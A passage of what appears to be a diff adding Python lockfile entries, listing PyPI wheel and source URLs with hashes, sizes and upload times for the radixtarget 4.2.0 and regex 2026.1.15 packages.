+    { url = "https://files.pythonhosted.org/packages/37/5b/92dd5e447f9ff20e4462f3a4ba37d1903f283cfb8b6ec2036a14899fefac/radixtarget-4.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9041444da3bb83c1c6e82c44b33808490390ecbcacb35010f27248fd75d7ed70", size = 732662, upload-time = "2025-12-16T18:50:28.222Z" },
+    { url = "https://files.pythonhosted.org/packages/51/59/987a5ee67627e8f4a8dd016d9c43fa3113a6991f0460a422e839fb93a460/radixtarget-4.2.0-cp314-cp314-win32.whl", hash = "sha256:6d3353b8e93c43841c94d1f1de8447cf4843acda3c0376aebc4c0249482e1869", size = 369629, upload-time = "2025-12-16T18:51:05.531Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/7b/bc78cfb2e46b16c265cf10fc746eb05d39079f04051c35554f74a4881429/radixtarget-4.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:e6e8db75a7ba938e4fd4ff03f6768c0381ecf4e3d26d6252cf9f60e0e572d60b", size = 376294, upload-time = "2025-12-16T18:51:02.813Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/37/5334f46e8ebbfb533735624c2645276401feee66ddf3413e75376925c1b1/radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:461936708cd075ea37946eef58b12fd198b031965c6e0c25f801b9fe3cf87974", size = 523072, upload-time = "2025-12-16T18:48:06.194Z" },
+    { url = "https://files.pythonhosted.org/packages/30/96/9bf4388abc4a0f9afbaa0fd55d77b9fb206c9c43dcc49fe7b138a6f031ab/radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6221e7ee00df05c6c2d28e86096d441e8f6a81f12edbfe38422f88b587fef891", size = 534222, upload-time = "2025-12-16T18:48:19.315Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/a7/f0f24ddd254d2f86a2ff13f37d9886df0e0c4500ff4f481d865d8a482aa4/radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c1e55858a955ceb6946cebc5a1664cdfff682cf380e03015ac22f40a73785079", size = 706790, upload-time = "2025-12-16T18:48:30.763Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/d2/c28bc32796f703fb2ef78af374bd63c1e85cc19dc2dd1476f244646c3af4/radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:773d317934ed1b3c86f808f80a4af4d3756b21a268173ad1ffd9b7505ec3fc73", size = 558637, upload-time = "2025-12-16T18:48:41.736Z" },
+    { url = "https://files.pythonhosted.org/packages/74/9e/2ebde415856c066f9e51a07096153f2f9b9d130af4c28e051600976c5d88/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f7bab59aac38f370c10845b7a1fb4335a9bd2bc3978cb81ce60e534f97373f86", size = 705271, upload-time = "2025-12-16T18:49:22.497Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/29/f23905191087e3cbc38c7328ad985daeec6753fc7812fab0b4525600e316/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:0bf49f4524f2b309e4d164f405336df116f257a80074cee669c5b5b51e8eb484", size = 804030, upload-time = "2025-12-16T18:49:34.625Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/ba/031cbbfdc807acb66e8183cf47ed7bc8a34c0ff8065ab52b913e86f7b44d/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:01dc45a2e24565f4f269bc724024fbefa9a12bd4f2b9c4d3542caa45ea3e4eb7", size = 768802, upload-time = "2025-12-16T18:50:01.834Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/e5/115fb6ab50682bb041e15dcb9c72e35e3868edc297f55799aa4404012c54/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0a368e059ffba6e786f5552eb9b8638ad90195643074830314d8cec6f23f157c", size = 733430, upload-time = "2025-12-16T18:50:29.94Z" },
+    { url = "https://files.pythonhosted.org/packages/af/9c/e79af1c408b008cde3054e408aec2f78ead5d754c96e392117ba5ef24cb2/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:858831b2b369d8973ddd927bd870c353a4386d0a517ab3855a2fc73f2f1b61cc", size = 527144, upload-time = "2025-12-16T18:48:09.392Z" },
+    { url = "https://files.pythonhosted.org/packages/05/c8/2584c148a34a5df38024ef3296479b7a86de0b70d44956fcc395e72ad8aa/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5a75d34f55009a4513dcb396b638ba7dba672d5eb107b7e9f0f0262b98775c4", size = 537302, upload-time = "2025-12-16T18:48:21.896Z" },
+    { url = "https://files.pythonhosted.org/packages/62/81/0ebab51c21e24331b78471d1e10cf79b1f5df13a3f214d2d64db1be36111/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92f908ec996f49686a35dec20d47a98f0b24648c5eacc24c1969cbb13595107c", size = 712638, upload-time = "2025-12-16T18:48:33.441Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/49/1e7cb866e724017a102f383ff0715424d77a76242b3793c562d1b2e13f3f/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2499a664b78bca3b0536d8ac3d57dabdba1652c9c9e746979a743873f4edc19", size = 563931, upload-time = "2025-12-16T18:48:44.595Z" },
+    { url = "https://files.pythonhosted.org/packages/97/39/a88a4d1f6d57fda78a9481e0955674ce079d4e5758d35e7e3e876b465aee/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:482b5b5c317bafb49fc1d9e5a648bddabb38dddec2be336545146d743d09622d", size = 533809, upload-time = "2025-12-16T18:49:03.476Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/1e/9b2c183e5d5def426945d3364cbb5c62968e5ed0a21d56eefd58b7d22cb0/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:886001cc5679657cc643aa94858ef1a989bdfb168f60122222a25d5c0b11e8d5", size = 562933, upload-time = "2025-12-16T18:48:54.038Z" },
+    { url = "https://files.pythonhosted.org/packages/93/56/2e4b3ffc43aaefadce4b03a0ad525cd8663e520e63232174450da3a68177/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:9f230e01ee9333ca2202ced3a1e0d6ee24cdad698283b32c453ca1846762992f", size = 710660, upload-time = "2025-12-16T18:49:25.052Z" },
+    { url = "https://files.pythonhosted.org/packages/21/75/80f1460e98697f90387782644ae83f0b6f14bde4d8bb24c50562bd95db8b/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:4ef1b02bf1fb907e18403cb424b74b6ec05df6b103aba5e14768b6b208fd2e12", size = 808362, upload-time = "2025-12-16T18:49:37.195Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/dc/9ad890f8c48b1997a8b1a258c421a8014f963c7a883932a6a043d6e56670/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d8160247559a35a4df41aa50c786afd0dbbd983e3071e815017e3fa62a64bc72", size = 773601, upload-time = "2025-12-16T18:50:04.521Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/47/a1bf30b4a047bfa6a1f97a679ebd5322d67cb16fc96cd9cddb2273d2cf10/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:c1f6d83716242d7b7a8463dca7d77f2b9be0edb7ea0f467917ee87e46ef658a6", size = 738037, upload-time = "2025-12-16T18:50:32.41Z" },
+]
+
+[[package]]
+name = "regex"
+version = "2026.1.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/0b/86/07d5056945f9ec4590b518171c4254a5925832eb727b56d3c38a7476f316/regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5", size = 414811, upload-time = "2026-01-14T23:18:02.775Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ea/d2/e6ee96b7dff201a83f650241c52db8e5bd080967cb93211f57aa448dc9d6/regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e", size = 488166, upload-time = "2026-01-14T23:13:46.408Z" },
+    { url = "https://files.pythonhosted.org/packages/23/8a/819e9ce14c9f87af026d0690901b3931f3101160833e5d4c8061fa3a1b67/regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f", size = 290632, upload-time = "2026-01-14T23:13:48.688Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/c3/23dfe15af25d1d45b07dfd4caa6003ad710dcdcb4c4b279909bdfe7a2de8/regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b", size = 288500, upload-time = "2026-01-14T23:13:50.503Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/31/1adc33e2f717df30d2f4d973f8776d2ba6ecf939301efab29fca57505c95/regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c", size = 781670, upload-time = "2026-01-14T23:13:52.453Z" },
+    { url = "https://files.pythonhosted.org/packages/23/ce/21a8a22d13bc4adcb927c27b840c948f15fc973e21ed2346c1bd0eae22dc/regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9", size = 850820, upload-time = "2026-01-14T23:13:54.894Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/4f/3eeacdf587a4705a44484cd0b30e9230a0e602811fb3e2cc32268c70d509/regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c", size = 898777, upload-time = "2026-01-14T23:13:56.908Z" },
+    { url = "https://files.pythonhosted.org/packages/79/a9/1898a077e2965c35fc22796488141a22676eed2d73701e37c73ad7c0b459/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106", size = 791750, upload-time = "2026-01-14T23:13:58.527Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/84/e31f9d149a178889b3817212827f5e0e8c827a049ff31b4b381e76b26e2d/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618", size = 782674, upload-time = "2026-01-14T23:13:59.874Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/ff/adf60063db24532add6a1676943754a5654dcac8237af024ede38244fd12/regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4", size = 767906, upload-time = "2026-01-14T23:14:01.298Z" },
+    { url = "https://files.pythonhosted.org/packages/af/3e/e6a216cee1e2780fec11afe7fc47b6f3925d7264e8149c607ac389fd9b1a/regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79", size = 774798, upload-time = "2026-01-14T23:14:02.715Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/98/23a4a8378a9208514ed3efc7e7850c27fa01e00ed8557c958df0335edc4a/regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9", size = 845861, upload-time = "2026-01-14T23:14:04.824Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/57/d7605a9d53bd07421a8785d349cd29677fe660e13674fa4c6cbd624ae354/regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220", size = 755648, upload-time = "2026-01-14T23:14:06.371Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/76/6f2e24aa192da1e299cc1101674a60579d3912391867ce0b946ba83e2194/regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13", size = 836250, upload-time = "2026-01-14T23:14:08.343Z" },
+    { url = "https://files.pythonhosted.org/packages/11/3a/1f2a1d29453299a7858eab7759045fc3d9d1b429b088dec2dc85b6fa16a2/regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3", size = 779919, upload-time = "2026-01-14T23:14:09.954Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/67/eab9bc955c9dcc58e9b222c801e39cff7ca0b04261792a2149166ce7e792/regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218", size = 265888, upload-time = "2026-01-14T23:14:11.35Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/62/31d16ae24e1f8803bddb0885508acecaec997fcdcde9c243787103119ae4/regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a", size = 277830, upload-time = "2026-01-14T23:14:12.908Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/36/5d9972bccd6417ecd5a8be319cebfd80b296875e7f116c37fb2a2deecebf/regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3", size = 270376, upload-time = "2026-01-14T23:14:14.782Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/c9/0c80c96eab96948363d270143138d671d5731c3a692b417629bf3492a9d6/regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a", size = 488168, upload-time = "2026-01-14T23:14:16.129Z" },
+    { url = "https://files.pythonhosted.org/packages/17/f0/271c92f5389a552494c429e5cc38d76d1322eb142fb5db3c8ccc47751468/regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f", size = 290636, upload-time = "2026-01-14T23:14:17.715Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/f9/5f1fd077d106ca5655a0f9ff8f25a1ab55b92128b5713a91ed7134ff688e/regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1", size = 288496, upload-time = "2026-01-14T23:14:19.326Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/e1/8f43b03a4968c748858ec77f746c286d81f896c2e437ccf050ebc5d3128c/regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b", size = 793503, upload-time = "2026-01-14T23:14:20.922Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/4e/a39a5e8edc5377a46a7c875c2f9a626ed3338cb3bb06931be461c3e1a34a/regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8", size = 860535, upload-time = "2026-01-14T23:14:22.405Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/1c/9dce667a32a9477f7a2869c1c767dc00727284a9fa3ff5c09a5c6c03575e/regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413", size = 907225, upload-time = "2026-01-14T23:14:23.897Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/3c/87ca0a02736d16b6262921425e84b48984e77d8e4e572c9072ce96e66c30/regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026", size = 800526, upload-time = "2026-01-14T23:14:26.039Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/ff/647d5715aeea7c87bdcbd2f578f47b415f55c24e361e639fe8c0cc88878f/regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785", size = 773446, upload-time = "2026-01-14T23:14:28.109Z" },
+    { url = "https://files.pythonhosted.org/packages/af/89/bf22cac25cb4ba0fe6bff52ebedbb65b77a179052a9d6037136ae93f42f4/regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e", size = 783051, upload-time = "2026-01-14T23:14:29.929Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/f4/6ed03e71dca6348a5188363a34f5e26ffd5db1404780288ff0d79513bce4/regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763", size = 854485, upload-time = "2026-01-14T23:14:31.366Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/9a/8e8560bd78caded8eb137e3e47612430a05b9a772caf60876435192d670a/regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb", size = 762195, upload-time = "2026-01-14T23:14:32.802Z" },
+    { url = "https://files.pythonhosted.org/packages/38/6b/61fc710f9aa8dfcd764fe27d37edfaa023b1a23305a0d84fccd5adb346ea/regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2", size = 845986, upload-time = "2026-01-14T23:14:34.898Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/2e/fbee4cb93f9d686901a7ca8d94285b80405e8c34fe4107f63ffcbfb56379/regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1", size = 788992, upload-time = "2026-01-14T23:14:37.116Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/14/3076348f3f586de64b1ab75a3fbabdaab7684af7f308ad43be7ef1849e55/regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569", size = 265893, upload-time = "2026-01-14T23:14:38.426Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/19/772cf8b5fc803f5c89ba85d8b1870a1ca580dc482aa030383a9289c82e44/regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7", size = 277840, upload-time = "2026-01-14T23:14:39.785Z" },
+    { url = "https://files.pythonhosted.org/packages/78/84/d05f61142709474da3c0853222d91086d3e1372bcdab516c6fd8d80f3297/regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec", size = 270374, upload-time = "2026-01-14T23:14:41.592Z" },
+    { url = "https://files.pythonhosted.org/packages/92/81/10d8cf43c807d0326efe874c1b79f22bfb0fb226027b0b19ebc26d301408/regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1", size = 489398, upload-time = "2026-01-14T23:14:43.741Z" },
+    { url = "https://files.pythonhosted.org/packages/90/b0/7c2a74e74ef2a7c32de724658a69a862880e3e4155cba992ba04d1c70400/regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681", size = 291339, upload-time = "2026-01-14T23:14:45.183Z" },
+    { url = "https://files.pythonhosted.org/packages/19/4d/16d0773d0c818417f4cc20aa0da90064b966d22cd62a8c46765b5bd2d643/regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f", size = 289003, upload-time = "2026-01-14T23:14:47.25Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/e4/1fc4599450c9f0863d9406e944592d968b8d6dfd0d552a7d569e43bceada/regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa", size = 798656, upload-time = "2026-01-14T23:14:48.77Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/e6/59650d73a73fa8a60b3a590545bfcf1172b4384a7df2e7fe7b9aab4e2da9/regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804", size = 864252, upload-time = "2026-01-14T23:14:50.528Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/ab/1d0f4d50a1638849a97d731364c9a80fa304fec46325e48330c170ee8e80/regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c", size = 912268, upload-time = "2026-01-14T23:14:52.952Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/df/0d722c030c82faa1d331d1921ee268a4e8fb55ca8b9042c9341c352f17fa/regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5", size = 803589, upload-time = "2026-01-14T23:14:55.182Z" },
+    { url = "https://files.pythonhosted.org/packages/66/23/33289beba7ccb8b805c6610a8913d0131f834928afc555b241caabd422a9/regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3", size = 775700, upload-time = "2026-01-14T23:14:56.707Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/65/bf3a42fa6897a0d3afa81acb25c42f4b71c274f698ceabd75523259f6688/regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb", size = 787928, upload-time = "2026-01-14T23:14:58.312Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f5/13bf65864fc314f68cdd6d8ca94adcab064d4d39dbd0b10fef29a9da48fc/regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410", size = 858607, upload-time = "2026-01-14T23:15:00.657Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/31/040e589834d7a439ee43fb0e1e902bc81bd58a5ba81acffe586bb3321d35/regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4", size = 763729, upload-time = "2026-01-14T23:15:02.248Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/84/6921e8129687a427edf25a34a5594b588b6d88f491320b9de5b6339a4fcb/regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d", size = 850697, upload-time = "2026-01-14T23:15:03.878Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/87/3d06143d4b128f4229158f2de5de6c8f2485170c7221e61bf381313314b2/regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22", size = 789849, upload-time = "2026-01-14T23:15:06.102Z" },
+    { url = "https://files.pythonhosted.org/packages/77/69/c50a63842b6bd48850ebc7ab22d46e7a2a32d824ad6c605b218441814639/regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913", size = 266279, upload-time = "2026-01-14T23:15:07.678Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/36/39d0b29d087e2b11fd8191e15e81cce1b635fcc845297c67f11d0d19274d/regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a", size = 277166, upload-time = "2026-01-14T23:15:09.257Z" },
+    { url = "https://files.pythonhosted.org/packages/28/32/5b8e476a12262748851fa8ab1b0be540360692325975b094e594dfebbb52/regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056", size = 270415, upload-time = "2026-01-14T23:15:10.743Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/2e/6870bb16e982669b674cce3ee9ff2d1d46ab80528ee6bcc20fb2292efb60/regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e", size = 489164, upload-time = "2026-01-14T23:15:13.962Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/67/9774542e203849b0286badf67199970a44ebdb0cc5fb739f06e47ada72f8/regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10", size = 291218, upload-time = "2026-01-14T23:15:15.647Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/87/b0cda79f22b8dee05f774922a214da109f9a4c0eca5da2c9d72d77ea062c/regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc", size = 288895, upload-time = "2026-01-14T23:15:17.788Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/6a/0041f0a2170d32be01ab981d6346c83a8934277d82c780d60b127331f264/regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599", size = 798680, upload-time = "2026-01-14T23:15:19.342Z" },
+    { url = "https://files.pythonhosted.org/packages/58/de/30e1cfcdbe3e891324aa7568b7c968771f82190df5524fabc1138cb2d45a/regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae", size = 864210, upload-time = "2026-01-14T23:15:22.005Z" },
+    { url = "https://files.pythonhosted.org/packages/64/44/4db2f5c5ca0ccd40ff052ae7b1e9731352fcdad946c2b812285a7505ca75/regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5", size = 912358, upload-time = "2026-01-14T23:15:24.569Z" },
+    { url = "https://files.pythonhosted.org/packages/79/b6/e6a5665d43a7c42467138c8a2549be432bad22cbd206f5ec87162de74bd7/regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6", size = 803583, upload-time = "2026-01-14T23:15:26.526Z" },
